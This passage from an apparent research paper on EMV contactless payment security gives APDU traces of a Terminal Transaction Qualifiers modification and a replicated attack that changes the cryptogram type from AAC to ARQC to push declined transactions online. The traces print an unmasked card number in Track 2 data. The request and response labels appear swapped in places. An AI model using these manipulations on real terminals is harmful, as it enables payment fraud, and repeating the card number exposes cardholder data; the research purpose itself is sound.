9A | len:03 Transaction Date
9C | len:01 Transaction Type

9F37 | len:04 Unpredictable Number
9F4E | len:14 Merchant Name and Location

BF0C | len:16 File Control Information (FCI)
Issuer Discretionary Data

9F5A | len:5 Application Program
Identifier: 3108260826

BF63 | len:4 Unknown Payment System Tag:
DF200180

9F0A | len:4 Application Selection
Registered Proprietary Data list:
00010101

R > C:
80A8000037833536A040000000000001000000000000
00082600000000000826221109009B07992E4D79436F
6D70616E792C20436F76656E7472792000
GPO command:
9F66 | len 4 TTQ:36A04000 //Old TTQ Value

EMV Mode supported (Byte 1 Bit 6)
EMV contact chip supported (Byte 1 Bit 5)
Online PIN supported (Byte 1 Bit 3)
Signature supported (Byte 1 Bit 2)
Online cryptogram required (Byte 2 Bit 8)
Contact chip offline pin supported (Byte 2 Bit 6)
Mobile device functionality supported (Byte 3 Bit

7)
9F02 | len 6 Amount, Authorised (Numeric):

000000000100
9F03 | len 6 Amount, Other (Numeric): 000000000000
9F1A | len 2 Terminal Country Code: 0826
95 | len 5 Terminal Verification Results:

0000000000
5F2A | len 2 Transaction Currency Cod: 0826
9A | len 3 Transaction Date: 221109
9C | len 1 Transaction Type: 00

9F37 | len 4 Unpredictable Number: 9B07992E
9F4E | len 20 Merchant Name and Location :4

D79436F6D70616E792C20436F76656E74727920
...new TTQ: 23004000 //New TTQ Value
Status code: 9000 Command successfully executed (OK).
77 | len:62 Response Message Template Format 2

82 | len:2 Application Interchange Profile:
2040

DDA supported (Byte 1 Bit 6)
Expresspay Mobile supported (Byte 2

Bit 7)
94 | len:4 Application File Locator: 18010100

SFI: 03, 1st record: 01, last
record: 01, no offline auth: 00

9F36 | len:2 Application Transaction Counter:
0024

9F26 | len:8 Application Cryptogram:
B5FC8281477D36C7

9F10 | len:32 Issuer Application Data (IAD):
1F426360A00000000010030273000000004000000000
00000000000000000000



9F6C | len:2 Card Transaction Qualifiers (CTQ):
0000

57 | len:19 Track 2 Equivalent Data:
XXXXXXXXXXXXXXXXD23122017150099999995F

9F6E | len:4 Form Factor Indicator (qVSDC):
23880000

9F27 | len:1 Cryptogram Information Data: 80
R > C: 00B2011C00
READ RECORD: 01, SFI: 03
0370375F280208269F0702C0009F1906040010030273
5F3401009F241DXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXX9000
Status code: 9000 Command successfully executed (OK).

70 | len:37 Record Template
5F28 | len:2 Issuer Country Code: 0826
9F07 | len:2 Application Usage Control: C000
9F19 | len:6 Token Requestor ID: 040010030273
5F34 | len:1 Application Primary Account Number

(PAN) Sequence Number: 00
9F24 | len:29 Payment Account Reference (PAR):

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXX

7.6.7. Cryptogram Exploitation. We present the repli-
cation of the Cryptogram Confusion: Changing AAC to
ARQC attack [93], which exploits weaknesses in cryp-
togram validation to bypass transaction restrictions. The
attack involves modifying the Cryptogram Type (9F27)
from 00 (AAC - Application Authentication Cryptogram)
to 80 (ARQC - Authorization Request Cryptogram), effec-
tively tricking the system into treating a declined offline
transaction as an online authorization request. By altering
this field, an attacker can force a transaction that would
normally be rejected to be processed online, increasing
the chances of approval. Listing 7 shows how this modi-
fication is made in a transaction for a malicious purpose.

Listing 7. Replication Trace for Cryptogram Exploitation Attack
[77 (response template)] 820200009

F100706011203800000570E4349921050119006D22062
21...009C

[82 (AIP - Application Interchange Profile)] 0000
[0000 (Byte 2 Bit 8)] Magstripe Mode Only Supported

[9F10 (issuer application data)] 06011203800000
[Derivation key index] 01
[Cryptogram version number] 12
[Card verification results] 03800000
[Byte 2 Bit 8 = 1, Byte 2 Bit 7 = 0] Second

GENERATE AC not requested
[Byte 2 Bit 6 = 0, Byte 2 Bit 5 = 0] AAC Returned

in GPO/first GENERATE AC \\ Bank can still
see it’s AAC

[Byte 4 Bits 8-5] Issuer Script Commands
processed on last transaction = 0

[57 (track 2 equivalent data)] 4349921050119006
D2206221862F

[5F34 (PAN sequence number)] 00
[9F26 (application cryptogram)] 9AC62D698D80F888
[9F27 (cryptogram information data)] ARQC (

Authorisation Request Cryptogram - Go ask the
issuer) // AAC type changed to ARQC

[9F36 (ATC - application transaction counter)] 156

00a404000e325041592e5359532e444446303100

Request:
6f41840e325041592e5359532e4444463031a52fbf0c2c612a4f07
a0000000031010500a566973612044656269748701019f0a080001
050100000000bf6304df2001809000
6F File Control Information (FCI) Template

84 Dedicated File (DF) Name
325041592E5359532E4444463031 (2PAY.SYS.DDF01)

A5 File Control Information (FCI) Proprietary
Template

BF0C File Control Information (FCI) Issuer
Discretionary Data

61 Application Template
4F Application Identifier (ADF Name)

A0000000031010
50 Application Label

56697361204465626974 (Visa Debit)

87 Application Priority Indicator
01

9F0A Application Selection Registered
Proprietary Data

0001050100000000
BF63 Unknown

DF200180
DF20 Unknown

80
Response:
00a4040007a000000003101000
SELECT A0000000031010

Request:
6f6c8407a0000000031010a561500a566973612044656269748701
019f38189f66049f02069f03069f1a0295055f2a029a039c019f37
045f2d08656e6573667264659f1101019f120f5669736120446562
69742043617264bf0c139f5a0531082608269f0a08000105010000
00006283
6F File Control Information (FCI) Template

84 Dedicated File (DF) Name
A0000000031010

A5 File Control Information (FCI) Proprietary
Template

50 Application Label
56697361204465626974 (Visa Debit)

87 Application Priority Indicator
01

9F38 Processing Options Data Object List (PDOL)
5F2D Language Preference

656E657366726465 (enesfrde)
9F11 Issuer Code Table Index

01
9F12 Application Preferred Name

566973612044656269742043617264 (Visa Debit
Card)

BF0C File Control Information (FCI) Issuer
Discretionary Data

9F5A0531082608269F0A080001050100000000
9F5A Application Program Identifier (Program

ID)
3108260826

9F0A Application Selection Registered
Proprietary Data

0001050100000000
Response:
80a8000023832136a0400000000000010000000000000008260000
000000082621071400eaae5a3b00

Request:
774082020000940808010100100102009f10070601120380000057
0e4349921050119006d2206221862f5f3401009f26089ac62d698d
80f8889f2701009f3602009c9000
77 Response Message Template Format 2

82 Application Interchange Profile (AIP)
0000

94 Application File Locator (AFL)
0801010010010200

9F10 Issuer Application Data (IAD)
06011203800000

57 Track 2 Equivalent Data
4349921050119006D2206221862F

5F34 Application Primary Account Number (PAN)
Sequence Number (PSN)

00
9F26 Application Cryptogram (AC)

9AC62D698D80F888
9F27 Cryptogram Information Data (CID)

00
9F36 Application Transaction Counter (ATC)

009C
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